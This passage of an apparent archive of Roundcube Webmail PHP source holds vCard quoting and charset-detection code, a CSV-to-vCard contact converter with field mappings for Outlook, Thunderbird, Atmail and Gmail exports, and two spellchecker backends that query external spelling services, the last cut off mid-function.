                $vcard .= self::vcard_quote($type) . $attr . ':' . self::vcard_quote($value) . self::$eol;
            }
        }

        return 'BEGIN:VCARD' . self::$eol . 'VERSION:3.0' . self::$eol . $vcard . 'END:VCARD';
    }

    /**
     * Join indexed data array to a vcard quoted string
     *
     * @param array  $str Field data
     * @param string $sep Separator
     *
     * @return string Joined and quoted string
     */
    public static function vcard_quote($str, $sep = ';')
    {
        if (is_array($str)) {
            $r = [];

            foreach ($str as $part) {
                $r[] = self::vcard_quote($part, $sep);
            }

            return(implode($sep, $r));
        }

        return strtr($str, ["\\" => "\\\\", "\r" => '', "\n" => '\n', $sep => "\\$sep"]);
    }

    /**
     * Split quoted string
     *
     * @param string $str vCard string to split
     * @param string $sep Separator char/string
     *
     * @return string|array Unquoted string or a list of strings if $sep was found
     */
    private static function vcard_unquote($str, $sep = ';')
    {
        // break string into parts separated by $sep
        if (!empty($sep)) {
            // Handle properly backslash escaping (#1488896)
            $rep1 = ["\\\\" => "\010", "\\$sep" => "\007"];
            $rep2 = ["\007" => "\\$sep", "\010" => "\\\\"];

            if (count($parts = explode($sep, strtr($str, $rep1))) > 1) {
                $result = [];
                foreach ($parts as $s) {
                    $result[] = self::vcard_unquote(strtr($s, $rep2));
                }

                return $result;
            }

            $str = trim(strtr($str, $rep2));
        }

        // some implementations (GMail) use non-standard backslash before colon (#1489085)
        // we will handle properly any backslashed character - removing dummy backslashes
        // return strtr($str, ["\r" => '', '\\\\' => '\\', '\n' => "\n", '\N' => "\n", '\,' => ',', '\;' => ';']);

        $str = str_replace("\r", '', $str);
        $pos = 0;

        while (($pos = strpos($str, "\\", $pos)) !== false) {
            $next = substr($str, $pos + 1, 1);
            if ($next == 'n' || $next == 'N') {
                $str = substr_replace($str, "\n", $pos, 2);
            }
            else {
                $str = substr_replace($str, '', $pos, 1);
            }

            $pos += 1;
        }

        return $str;
    }

    /**
     * Check if vCard entry is empty: empty string or an array with
     * all entries empty.
     *
     * @param string|array $value Attribute value
     *
     * @return bool True if the value is empty, False otherwise
     */
    private static function is_empty($value)
    {
        foreach ((array) $value as $v) {
            if (@strval($v) !== '') {
                return false;
            }
        }

        return true;
    }

    /**
     * Returns character set of a vCard input
     *
     * @param string $string Input string to test
     *
     * @return string Detected encoding
     */
    private static function detect_encoding($string)
    {
        // Extract the plain text from the vCard, so the detection is more accurate
        // This will for example exclude photos

        // Perform RFC2425 line unfolding and split lines
        $string = preg_replace(["/\r/", "/\n\s+/"], '', $string);
        $lines  = explode("\n", $string);
        $string = '';

        for ($i = 0, $len = count($lines); $i < $len; $i++) {
            if (!($pos = strpos($lines[$i], ':'))) {
                continue;
            }

            $prefix = substr($lines[$i], 0, $pos);

            // We remove \0 as so it works with UTF-16/UTF-32 encodings
            $prefix = str_replace("\0", '', $prefix);

            // Take only properties that are known to contain human-readable text
            if (!preg_match('/^(item\d+\.)?(N|FN|ORG|ADR|NOTE|TITLE|CATEGORIES)(;|$)/', $prefix)) {
                continue;
            }

            $data = substr($lines[$i], $pos + 1);

            if (preg_match('/;CHARSET=([a-z0-9-]+)/i', $prefix, $matches)) {
                // We assume there's only one charset in the input
                return $matches[1];
            }

            $matches = null;
            $enc = null;

            if (stripos($prefix, 'base64') || preg_match('/ENCODING=(QUOTED-PRINTABLE|B|BASE64)/i', $prefix, $matches)) {
                $enc = $matches ? strtoupper($matches[1]) : 'BASE64';
                // add next line(s) to value string if QP line end detected
                if ($enc == 'QUOTED-PRINTABLE') {
                    while (preg_match('/=$/', $lines[$i])) {
                        $data .= "\n" . $lines[++$i];
                    }
                }

                $data = self::decode_value($data, $enc);
            }

            if (!$enc || $enc == 'QUOTED-PRINTABLE') {
                $data = self::vcard_unquote($data);
            }

            if (is_array($data)) {
                $data = implode(' ', array_filter($data));
            }

            $string .= $data . ' ';

            // 100 KB should be enough for charset check
            if (strlen($string) > 100 * 1024) {
                break;
            }
        }

        return rcube_charset::check($string) ?: RCUBE_CHARSET;
    }
}
PK
h�\�L�bb)program/lib/Roundcube/rcube_csv2vcard.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   CSV to vCard data conversion                                        |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * CSV to vCard data converter
 *
 * @package    Framework
 * @subpackage Addressbook
 */
class rcube_csv2vcard
{
    /**
     * CSV to vCard fields mapping
     *
     * @var array
     */
    protected $csv2vcard_map = [
        // MS Outlook 2010
        'anniversary'           => 'anniversary',
        'assistants_name'       => 'assistant',
        'assistants_phone'      => 'phone:assistant',
        'birthday'              => 'birthday',
        'business_city'         => 'locality:work',
        'business_countryregion' => 'country:work',
        'business_fax'          => 'phone:work,fax',
        'business_phone'        => 'phone:work',
        'business_phone_2'      => 'phone:work2',
        'business_postal_code'  => 'zipcode:work',
        'business_state'        => 'region:work',
        'business_street'       => 'street:work',
        //'business_street_2'     => '',
        //'business_street_3'     => '',
        'car_phone'             => 'phone:car',
        'categories'            => 'groups',
        //'children'              => '',
        'company'               => 'organization',
        //'company_main_phone'    => '',
        'department'            => 'department',
        'email_2_address'       => 'email:other',
        //'email_2_type'          => '',
        'email_3_address'       => 'email:other',
        //'email_3_type'          => '',
        'email_address'         => 'email:pref',
        //'email_type'            => '',
        'first_name'            => 'firstname',
        'gender'                => 'gender',
        'home_city'             => 'locality:home',
        'home_countryregion'    => 'country:home',
        'home_fax'              => 'phone:home,fax',
        'home_phone'            => 'phone:home',
        'home_phone_2'          => 'phone:home2',
        'home_postal_code'      => 'zipcode:home',
        'home_state'            => 'region:home',
        'home_street'           => 'street:home',
        //'home_street_2'         => '',
        //'home_street_3'         => '',
        //'initials'              => '',
        //'isdn'                  => '',
        'job_title'             => 'jobtitle',
        //'keywords'              => '',
        //'language'              => '',
        'last_name'             => 'surname',
        //'location'              => '',
        'managers_name'         => 'manager',
        'middle_name'           => 'middlename',
        //'mileage'               => '',
        'mobile_phone'          => 'phone:cell',
        'notes'                 => 'notes',
        //'office_location'       => '',
        'other_city'            => 'locality:other',
        'other_countryregion'   => 'country:other',
        'other_fax'             => 'phone:other,fax',
        'other_phone'           => 'phone:other',
        'other_postal_code'     => 'zipcode:other',
        'other_state'           => 'region:other',
        'other_street'          => 'street:other',
        //'other_street_2'        => '',
        //'other_street_3'        => '',
        'pager'                 => 'phone:pager',
        'primary_phone'         => 'phone:pref',
        //'profession'            => '',
        //'radio_phone'           => '',
        'spouse'                => 'spouse',
        'suffix'                => 'suffix',
        'title'                 => 'title',
        'web_page'              => 'website:homepage',

        // Thunderbird
        'birth_day'             => 'birthday-d',
        'birth_month'           => 'birthday-m',
        'birth_year'            => 'birthday-y',
        'display_name'          => 'displayname',
        'fax_number'            => 'phone:fax',
        'home_address'          => 'street:home',
        //'home_address_2'        => '',
        'home_country'          => 'country:home',
        'home_zipcode'          => 'zipcode:home',
        'mobile_number'         => 'phone:cell',
        'nickname'              => 'nickname',
        'organization'          => 'organization',
        'pager_number'          => 'phone:pager',
        'primary_email'         => 'email:pref',
        'secondary_email'       => 'email:other',
        'web_page_1'            => 'website:homepage',
        'web_page_2'            => 'website:other',
        'work_phone'            => 'phone:work',
        'work_address'          => 'street:work',
        //'work_address_2'        => '',
        'work_country'          => 'country:work',
        'work_zipcode'          => 'zipcode:work',
        'last'                  => 'surname',
        'first'                 => 'firstname',
        'work_city'             => 'locality:work',
        'work_state'            => 'region:work',
        'home_city_short'       => 'locality:home',
        'home_state_short'      => 'region:home',

        // Atmail
        'date_of_birth'         => 'birthday',
        // 'email'                 => 'email:pref',
        'home_mobile'           => 'phone:cell',
        'home_zip'              => 'zipcode:home',
        'info'                  => 'notes',
        'user_photo'            => 'photo',
        'url'                   => 'website:homepage',
        'work_company'          => 'organization',
        'work_dept'             => 'department',
        'work_fax'              => 'phone:work,fax',
        'work_mobile'           => 'phone:work,cell',
        'work_title'            => 'jobtitle',
        'work_zip'              => 'zipcode:work',
        'group'                 => 'groups',

        // GMail
        'groups'                => 'groups',
        'group_membership'      => 'groups',
        'given_name'            => 'firstname',
        'additional_name'       => 'middlename',
        'family_name'           => 'surname',
        'name'                  => 'displayname',
        'name_prefix'           => 'prefix',
        'name_suffix'           => 'suffix',

        // Format of Letter Hub test files from
        // https://letterhub.com/sample-csv-file-with-contacts/
        'company_name'          => 'organization',
        'address'               => 'street:home',
        'city'                  => 'locality:home',
        //'county'                => '',
        'state'                 => 'region:home',
        'zip'                   => 'zipcode:home',
        'phone1'                => 'phone:home',
        'phone'                 => 'phone:work',
        'email'                 => 'email:home',
    ];

    /**
     * CSV label to text mapping for English
     *
     * @var array
     */
    protected $label_map = [
        // MS Outlook 2010
        'anniversary'       => "Anniversary",
        'assistants_name'   => "Assistant's Name",
        'assistants_phone'  => "Assistant's Phone",
        'birthday'          => "Birthday",
        'business_city'     => "Business City",
        'business_countryregion' => "Business Country/Region",
        'business_fax'      => "Business Fax",
        'business_phone'    => "Business Phone",
        'business_phone_2'  => "Business Phone 2",
        'business_postal_code' => "Business Postal Code",
        'business_state'    => "Business State",
        'business_street'   => "Business Street",
        //'business_street_2' => "Business Street 2",
        //'business_street_3' => "Business Street 3",
        'car_phone'         => "Car Phone",
        'categories'        => "Categories",
        //'children'          => "Children",
        'company'           => "Company",
        //'company_main_phone' => "Company Main Phone",
        'department'        => "Department",
        //'directory_server'  => "Directory Server",
        'email_2_address'   => "E-mail 2 Address",
        //'email_2_type'      => "E-mail 2 Type",
        'email_3_address'   => "E-mail 3 Address",
        //'email_3_type'      => "E-mail 3 Type",
        'email_address'     => "E-mail Address",
        //'email_type'        => "E-mail Type",
        'first_name'        => "First Name",
        'gender'            => "Gender",
        'home_city'         => "Home City",
        'home_countryregion' => "Home Country/Region",
        'home_fax'          => "Home Fax",
        'home_phone'        => "Home Phone",
        'home_phone_2'      => "Home Phone 2",
        'home_postal_code'  => "Home Postal Code",
        'home_state'        => "Home State",
        'home_street'       => "Home Street",
        //'home_street_2'     => "Home Street 2",
        //'home_street_3'     => "Home Street 3",
        //'initials'          => "Initials",
        //'isdn'              => "ISDN",
        'job_title'         => "Job Title",
        //'keywords'          => "Keywords",
        //'language'          => "Language",
        'last_name'         => "Last Name",
        //'location'          => "Location",
        'managers_name'     => "Manager's Name",
        'middle_name'       => "Middle Name",
        //'mileage'           => "Mileage",
        'mobile_phone'      => "Mobile Phone",
        'notes'             => "Notes",
        //'office_location'   => "Office Location",
        'other_city'        => "Other City",
        'other_countryregion' => "Other Country/Region",
        'other_fax'         => "Other Fax",
        'other_phone'       => "Other Phone",
        'other_postal_code' => "Other Postal Code",
        'other_state'       => "Other State",
        'other_street'      => "Other Street",
        //'other_street_2'    => "Other Street 2",
        //'other_street_3'    => "Other Street 3",
        'pager'             => "Pager",
        'primary_phone'     => "Primary Phone",
        //'profession'        => "Profession",
        //'radio_phone'       => "Radio Phone",
        'spouse'            => "Spouse",
        'suffix'            => "Suffix",
        'title'             => "Title",
        'web_page'          => "Web Page",

        // Thunderbird
        'birth_day'         => "Birth Day",
        'birth_month'       => "Birth Month",
        'birth_year'        => "Birth Year",
        'display_name'      => "Display Name",
        'fax_number'        => "Fax Number",
        'home_address'      => "Home Address",
        //'home_address_2'    => "Home Address 2",
        'home_country'      => "Home Country",
        'home_zipcode'      => "Home ZipCode",
        'mobile_number'     => "Mobile Number",
        'nickname'          => "Nickname",
        'organization'      => "Organization",
        'pager_number'      => "Pager Number",
        'primary_email'     => "Primary Email",
        'secondary_email'   => "Secondary Email",
        'web_page_1'        => "Web Page 1",
        'web_page_2'        => "Web Page 2",
        'work_phone'        => "Work Phone",
        'work_address'      => "Work Address",
        //'work_address_2'    => "Work Address 2",
        'work_city'         => "Work City",
        'work_country'      => "Work Country",
        'work_state'        => "Work State",
        'work_zipcode'      => "Work ZipCode",

        // Atmail
        'date_of_birth'     => "Date of Birth",
        'email'             => "Email",
        //'email_2'         => "Email2",
        //'email_3'         => "Email3",
        //'email_4'         => "Email4",
        //'email_5'         => "Email5",
        'home_mobile'       => "Home Mobile",
        'home_zip'          => "Home Zip",
        'info'              => "Info",
        'user_photo'        => "User Photo",
        'url'               => "URL",
        'work_company'      => "Work Company",
        'work_dept'         => "Work Dept",
        'work_fax'          => "Work Fax",
        'work_mobile'       => "Work Mobile",
        'work_title'        => "Work Title",
        'work_zip'          => "Work Zip",
        'group'             => "Group",

        // GMail
        'groups'            => "Groups",
        'group_membership'  => "Group Membership",
        'given_name'        => "Given Name",
        'additional_name'   => "Additional Name",
        'family_name'       => "Family Name",
        'name'              => "Name",
        'name_prefix'       => "Name Prefix",
        'name_suffix'       => "Name Suffix",
    ];

    /**
     * Special fields map for GMail format
     *
     * @var array
     */
    protected $gmail_label_map = [
        'E-mail' => [
            'Value' => [
                'home'  => 'email:home',
                'work'  => 'email:work',
                'other' => 'email:other',
                ''      => 'email:other',
            ],
        ],
        'Phone' => [
            'Value' => [
                'home'    => 'phone:home',
                'homefax' => 'phone:homefax',
                'main'    => 'phone:pref',
                'pager'   => 'phone:pager',
                'mobile'  => 'phone:cell',
                'work'    => 'phone:work',
                'workfax' => 'phone:workfax',
            ],
        ],
        'Relation' => [
            'Value' => [
                'spouse' => 'spouse',
            ],
        ],
        'Website' => [
            'Value' => [
                'profile'  => 'website:profile',
                'blog'     => 'website:blog',
                'homepage' => 'website:homepage',
                'work'     => 'website:work',
            ],
        ],
        'Address' => [
            'Street' => [
                'home' => 'street:home',
                'work' => 'street:work',
            ],
            'City' => [
                'home' => 'locality:home',
                'work' => 'locality:work',
            ],
            'Region' => [
                'home' => 'region:home',
                'work' => 'region:work',
            ],
            'Postal Code' => [
                'home' => 'zipcode:home',
                'work' => 'zipcode:work',
            ],
            'Country' => [
                'home' => 'country:home',
                'work' => 'country:work',
            ],
        ],
        'Organization' => [
            'Name' => [
                '' => 'organization',
            ],
            'Title' => [
                '' => 'jobtitle',
            ],
            'Department' => [
                '' => 'department',
            ],
        ],
    ];

    /** @var array Localized labels map */
    protected $local_label_map = [];

    /** @var rcube_vcard[] List of contacts as vCards */
    protected $vcards = [];

    /** @var array Field mapping */
    protected $map = [];


    /**
     * Class constructor
     *
     * @param string $lang File language
     */
    public function __construct($lang = 'en_US')
    {
        // Localize fields map
        if ($lang && $lang != 'en_US') {
            if (file_exists(RCUBE_LOCALIZATION_DIR . "$lang/csv2vcard.inc")) {
                include RCUBE_LOCALIZATION_DIR . "$lang/csv2vcard.inc";
            }

            if (!empty($map)) {
                $this->local_label_map = array_merge($this->label_map, $map);
            }
        }
    }

    /**
     * Import contacts from CSV file
     *
     * @param string $csv       Content of the CSV file
     * @param bool   $dry_run   Generate automatic field mapping
     * @param bool   $skip_head Skip header line
     *
     * @return array Field mapping info (dry run only)
     */
    public function import($csv, $dry_run = false, $skip_head = true)
    {
        // convert to UTF-8 (supports default_charset and RCUBE_CHARSET as input)
        // TODO: If the input charset is invalid we should probably just abort here
        if ($charset = rcube_charset::check($csv)) {
            $csv = rcube_charset::convert($csv, $charset);
        }
        $csv = preg_replace(['/^[\xFE\xFF]{2}/', '/^\xEF\xBB\xBF/', '/^\x00+/'], '', $csv); // also remove BOM

        // Split CSV file into lines
        $lines = rcube_utils::explode_quoted_string('[\r\n]+', $csv);

        // Parse first 2 lines of file to identify fields
        // 2 lines because for gmail CSV we need to get the value from the "Type" fields to identify which is which
        if (empty($this->map)) {
            $this->parse_header(array_slice($lines, 0, 2));
        }

        // Parse the fields
        foreach ($lines as $n => $line) {
            $elements = $this->parse_line($line);

            if ($dry_run) {
                return ['source' => $elements, 'destination' => $this->map];
            }

            if (empty($elements)) {
                continue;
            }

            // first line is the headers so do not import unless explicitly set
            if (!$skip_head || $n > 0) {
                $this->csv_to_vcard($elements);
            }
        }
    }

    /**
     * Set field mapping info
     *
     * @param array $elements Field mapping
     */
    public function set_map($elements)
    {
        // sanitize input
        $elements = array_filter($elements, function($val) {
                return in_array($val, $this->csv2vcard_map);
            });

        $this->map = $elements;
    }

    /**
     * Set field mapping info
     *
     * @return array Array of vcard fields and localized names
     */
    public function get_fields()
    {
        // get all vcard fields
        $fields            = array_unique($this->csv2vcard_map);
        $local_field_names = $this->local_label_map ?: $this->label_map;

        // translate with the local map
        $map = [];
        foreach ($fields as $csv => $vcard) {
            if ($vcard == '_auto_') {
                continue;
            }

            $map[$vcard] = $local_field_names[$csv];
        }

        // small fix to prevent "Groups" displaying as "Categories"
        $map['groups'] = $local_field_names['groups'];

        asort($map);

        return $map;
    }

    /**
     * Export vCards
     *
     * @return array rcube_vcard List of vcards
     */
    public function export()
    {
        return $this->vcards;
    }

    /**
     * Parse CSV file line
     *
     * @param string $line Line of text from CSV file
     *
     * @return array CSV data extracted from the line
     */
    protected function parse_line($line)
    {
        $line = trim($line);
        if (empty($line)) {
            return [];
        }

        $fields = str_getcsv($line);

        return $fields;
    }

    /**
     * Parse CSV header line, detect fields mapping
     *
     * @param array $lines One or two header lines in CSV file
     */
    protected function parse_header($lines)
    {
        $elements = $this->parse_line($lines[0]);

        $label_map = array_flip($this->label_map);
        $local_label_map = array_flip($this->local_label_map);

        if (count($lines) == 2) {
            // first line of contents needed to properly identify fields in gmail CSV
            $contents = $this->parse_line($lines[1]);
        }

        $map1 = [];
        $map2 = [];
        $size = count($elements);

        // check English labels
        for ($i = 0; $i < $size; $i++) {
            if (!empty($label_map[$elements[$i]])) {
                $label = $label_map[$elements[$i]];
                if ($label && !empty($this->csv2vcard_map[$label])) {
                    $map1[$i] = $this->csv2vcard_map[$label];
                }
            }
        }

        // check localized labels
        if (!empty($local_label_map)) {
            for ($i = 0; $i < $size; $i++) {
                $label = $local_label_map[$elements[$i]];

                // special localization label
                if ($label && $label[0] == '_') {
                    $label = substr($label, 1);
                }

                if ($label && !empty($this->csv2vcard_map[$label])) {
                    $map2[$i] = $this->csv2vcard_map[$label];
                }
            }
        }

        // If nothing recognized fallback to simple non-localized labels
        if (empty($map1) && empty($map2)) {
            for ($i = 0; $i < $size; $i++) {
                $label = str_replace(' ', '_', strtolower($elements[$i]));
                if (!empty($this->csv2vcard_map[$label])) {
                    $map1[$i] = $this->csv2vcard_map[$label];
                }
            }
        }

        $this->map = count($map1) >= count($map2) ? $map1 : $map2;

        if (!empty($contents)) {
            foreach ($this->gmail_label_map as $key => $items) {
                $num = 1;
                while (($_key = "$key $num - Type") && ($found = array_search($_key, $elements)) !== false) {
                    $type = $contents[$found];
                    $type = preg_replace('/[^a-z]/', '', strtolower($type));

                    foreach ($items as $item_key => $vcard_fields) {
                        $_key = "$key $num - $item_key";
                        if (($found = array_search($_key, $elements)) !== false) {
                            $this->map[$found] = $vcard_fields[$type];
                        }
                    }

                    $num++;
                }
            }
        }
    }

    /**
     * Convert CSV data row to vCard
     *
     * @param array $data CSV data array
     */
    protected function csv_to_vcard($data)
    {
        $contact = [];

        foreach ($this->map as $idx => $name) {
            if ($name == '_auto_') {
                continue;
            }

            $value = $data[$idx];
            if ($value !== null && $value !== '') {
                if (!empty($contact[$name])) {
                    $contact[$name]   = (array) $contact[$name];
                    $contact[$name][] = $value;
                }
                else {
                   $contact[$name] = $value;
                }
            }
        }

        if (empty($contact)) {
            return;
        }

        // Handle special values
        if (!empty($contact['birthday-d']) && !empty($contact['birthday-m']) && !empty($contact['birthday-y'])) {
            $contact['birthday'] = $contact['birthday-y'] .'-' .$contact['birthday-m'] . '-' . $contact['birthday-d'];
        }

        if (!empty($contact['groups'])) {
            // categories/groups separator in vCard is ',' not ';'
            $contact['groups'] = str_replace(';', ',', $contact['groups']);

            // remove "* " added by GMail
            $contact['groups'] = str_replace('* ', '', $contact['groups']);
            // replace strange delimiter added by GMail
            $contact['groups'] = str_replace(' ::: ', ',', $contact['groups']);
        }

        // Empty dates, e.g. "0/0/00", "0000-00-00 00:00:00"
        foreach (['birthday', 'anniversary'] as $key) {
            if (!empty($contact[$key])) {
                $date = preg_replace('/[0[:^word:]]/', '', $contact[$key]);
                if (empty($date)) {
                    unset($contact[$key]);
                }
            }
        }

        if (!empty($contact['gender']) && ($gender = strtolower($contact['gender']))) {
            if (!in_array($gender, ['male', 'female'])) {
                unset($contact['gender']);
            }
        }

        // Convert address(es) to rcube_vcard data
        foreach ($contact as $idx => $value) {
            $name = explode(':', $idx);
            if (in_array($name[0], ['street', 'locality', 'region', 'zipcode', 'country'])) {
                $contact['address:'.$name[1]][$name[0]] = $value;
                unset($contact[$idx]);
            }
        }

        // Create vcard object
        $vcard = new rcube_vcard();
        foreach ($contact as $name => $value) {
            $name = explode(':', $name);
            if (is_array($value) && $name[0] != 'address') {
                foreach ((array) $value as $val) {
                    $vcard->set($name[0], $val, $name[1] ?? null);
                }
            }
            else {
                $vcard->set($name[0], $value, $name[1] ?? null);
            }
        }

        // add to the list
        $this->vcards[] = $vcard;
    }
}
PK
h�\h7ޖbb*program/lib/Roundcube/spellchecker/atd.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Spellchecking backend implementation for afterthedeadline services  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Spellchecking backend implementation to work with an After the Deadline service
 * See http://www.afterthedeadline.com/ for more information
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_spellchecker_atd extends rcube_spellchecker_engine
{
    const SERVICE_HOST = 'service.afterthedeadline.com';
    const SERVICE_PORT = 80;

    private $matches = [];
    private $content;
    private $langhosts = [
        'fr' => 'fr.',
        'de' => 'de.',
        'pt' => 'pt.',
        'es' => 'es.',
    ];

    /**
     * Return a list of languages supported by this backend
     *
     * @see rcube_spellchecker_engine::languages()
     */
    function languages()
    {
        $langs = array_values($this->langhosts);
        $langs[] = 'en';

        return $langs;
    }

    /**
     * Set content and check spelling
     *
     * @see rcube_spellchecker_engine::check()
     */
    function check($text)
    {
        $this->content = $text;

        // spell check uri is configured
        $rcube = rcube::get_instance();
        $url   = $rcube->config->get('spellcheck_uri');
        $key   = $rcube->config->get('spellcheck_atd_key');

        if ($url) {
            $a_uri = parse_url($url);
            $ssl   = ($a_uri['scheme'] == 'https' || $a_uri['scheme'] == 'ssl');
            $port  = !empty($a_uri['port']) ? $a_uri['port'] : ($ssl ? 443 : 80);
            $host  = ($ssl ? 'ssl://' : '') . $a_uri['host'];
            $path  = $a_uri['path'] . (!empty($a_uri['query']) ? '?'.$a_uri['query'] : '') . $this->lang;
        }
        else {
            $host = self::SERVICE_HOST;
            $port = self::SERVICE_PORT;
            $path = '/checkDocument';

            // prefix host for other languages than 'en'
            $lang = substr($this->lang, 0, 2);
            if (!empty($this->langhosts[$lang])) {
                $host = $this->langhosts[$lang] . $host;
            }
        }

        $postdata = 'data=' . urlencode($text);

        if (!empty($key)) {
            $postdata .= '&key=' . urlencode($key);
        }

        $response = $headers = '';
        $in_header = true;

        if ($fp = fsockopen($host, $port, $errno, $errstr, 30)) {
            $out = "POST $path HTTP/1.0\r\n";
            $out .= "Host: " . str_replace('ssl://', '', $host) . "\r\n";
            $out .= "Content-Length: " . strlen($postdata) . "\r\n";
            $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
            $out .= "Connection: Close\r\n\r\n";
            $out .= $postdata;
            fwrite($fp, $out);

            while (!feof($fp)) {
                if ($in_header) {
                    $line = fgets($fp, 512);
                    $headers .= $line;
                    if (trim($line) == '') {
                        $in_header = false;
                    }
                }
                else {
                    $response .= fgets($fp, 1024);
                }
            }
            fclose($fp);
        }

        // parse HTTP response headers
        if (preg_match('!^HTTP/1.\d (\d+)(.+)!', $headers, $m)) {
            $http_status = $m[1];
            if ($http_status != '200') {
                $this->error = 'HTTP ' . $m[1] . $m[2];
            }
        }

        if (!$response) {
            $this->error = "Empty result from spelling engine";
        }

        try {
            $result = new SimpleXMLElement($response);
        }
        catch (Exception $e) {
            $this->error = "Unexpected response from server: " . $response;
            return [];
        }

        $matches = [];

        foreach ($result->error as $error) {
            if (strval($error->type) == 'spelling') {
                $word = strval($error->string);

                // skip exceptions
                if ($this->dictionary->is_exception($word)) {
                    continue;
                }

                $prefix = strval($error->precontext);
                $start = $prefix ? mb_strpos($text, $prefix) : 0;
                $pos = mb_strpos($text, $word, $start);
                $len = mb_strlen($word);
                $num = 0;

                $match = [$word, $pos, $len, null, []];
                foreach ($error->suggestions->option as $option) {
                    $match[4][] = strval($option);
                    if (++$num == self::MAX_SUGGESTIONS) {
                        break;
                    }
                }
                $matches[] = $match;
            }
        }

        $this->matches = $matches;

        return $matches;
    }

    /**
     * Returns suggestions for the specified word
     *
     * @see rcube_spellchecker_engine::get_words()
     */
    function get_suggestions($word)
    {
        $matches = $word ? $this->check($word) : $this->matches;

        if (!empty($matches[0][4])) {
            return $matches[0][4];
        }

        return [];
    }

    /**
     * Returns misspelled words
     *
     * @see rcube_spellchecker_engine::get_suggestions()
     */
    function get_words($text = null)
    {
        if ($text) {
            $matches = $this->check($text);
        }
        else {
            $matches = $this->matches;
            $text    = $this->content;
        }

        $result = [];

        foreach ($matches as $m) {
            $result[] = mb_substr($text, $m[1], $m[2], RCUBE_CHARSET);
        }

        return $result;
    }
}
PK
h�\���J66-program/lib/Roundcube/spellchecker/googie.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Spellchecking backend implementation to work with Googiespell       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Spellchecking backend implementation to work with a Googiespell service
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_spellchecker_googie extends rcube_spellchecker_engine
{
    const GOOGIE_HOST = 'https://spell.roundcube.net';

    private $matches = [];
    private $content;

    /**
     * Return a list of languages supported by this backend
     *
     * @see rcube_spellchecker_engine::languages()
     */
    function languages()
    {
        return [
            'am','ar','ar','bg','br','ca','cs','cy','da',
            'de_CH','de_DE','el','en_GB','en_US',
            'eo','es','et','eu','fa','fi','fr_FR','ga','gl','gl',
            'he','hr','hu','hy','is','it','ku','lt','lv','nl',
            'pl','pt_BR','pt_PT','ro','ru',
            'sk','sl','sv','uk'
        ];
    }

    /**
     * Set content and check spelling
     *
     * @see rcube_spellchecker_engine::check()
     */
    function check($text)
    {
        $this->content = $text;

        $matches = [];

        if (empty($text)) {
            return $this->matches = $matches;
        }

        $rcube  = rcube::get_instance();
        $client = $rcube->get_http_client();

        // spell check uri is configured
        $url = $rcube->config->get('spellcheck_uri');

        if (!$url) {
            $url = self::GOOGIE_HOST . '/tbproxy/spell?lang=';
        }
        $url .= $this->lang;
        $url .= sprintf('&key=%06d', !empty($_SESSION['user_id']) ? $_SESSION['user_id'] : 0);

        $gtext = '<?xml version="1.0" encoding="utf-8" ?>'
            .'<spellrequest textalreadyclipped="0" ignoredups="0" ignoredigits="1" ignoreallcaps="1">'
            .'<text>' . htmlspecialchars($text, ENT_QUOTES, RCUBE_CHARSET) . '</text>'
            .'</spellrequest>';

        try {
            $response = $client->post($url, [
                    'connect_timeout' => 5, // seconds
                    'headers' => [
                        'User-Agent' => "Roundcube Webmail/" . RCUBE_VERSION . " (Googiespell Wrapper)",
                            'Content-type' => 'text/xml'
                    ],
                    'body' => $gtext
                ]
            );
        }
        catch (Exception $e) {
            // Do nothing, the error set below should be logged by the caller
        }

        if (empty($response)) {
            $this->error = $e ? $e->getMessage() : "Spelling engine failure";
        }
        else if ($response->getStatusCode() != 200) {
            $this->error = 'HTTP ' . $response->getReasonPhrase();
        }
        else {
            $response_body = $response->getBody();
            if (preg_match('/<spellresult error="([^"]+)"/', $response_body, $m) && $m[1]) {
                $this->error = "Error code $m[1] returned";
                $this->error .= preg_match('/<errortext>([^<]+)/', $response_body, $m) ? ": " . html_entity_decode($m[1]) : '';
            }

            preg_match_all('/<c o="([^"]*)" l="([^"]*)" s="([^"]*)">([^<]*)<\/c>/', $response_body, $matches, PREG_SET_ORDER);

            // skip exceptions (if appropriate options are enabled)
            foreach ($matches as $idx => $m) {
                $word = mb_substr($text, $m[1], $m[2], RCUBE_CHARSET);
                // skip  exceptions
                if ($this->dictionary->is_exception($word)) {
                    unset($matches[$idx]);
                }
            }
        }

        return $this->matches = $matches;
    }

    /**
     * Returns suggestions for the specified word
     *
     * @see rcube_spellchecker_engine::get_words()
     */
    function get_suggestions($word)
    {
        $matches = $word ? $this->check($word) : $this->matches;

        if (!empty($matches[0][4])) {
            $suggestions = explode("\t", $matches[0][4]);
            if (count($suggestions) > self::MAX_SUGGESTIONS) {
                $suggestions = array_slice($suggestions, 0, self::MAX_SUGGESTIONS);
            }

            return $suggestions;
        }

        return [];
    }

    /**
     * Returns misspelled words
     *
     * @see rcube_spellchecker_engine::get_suggestions()
     */
    function get_words($text = null)
    {
        if ($text) {
            $matches = $this->check($text);
        }
        else {
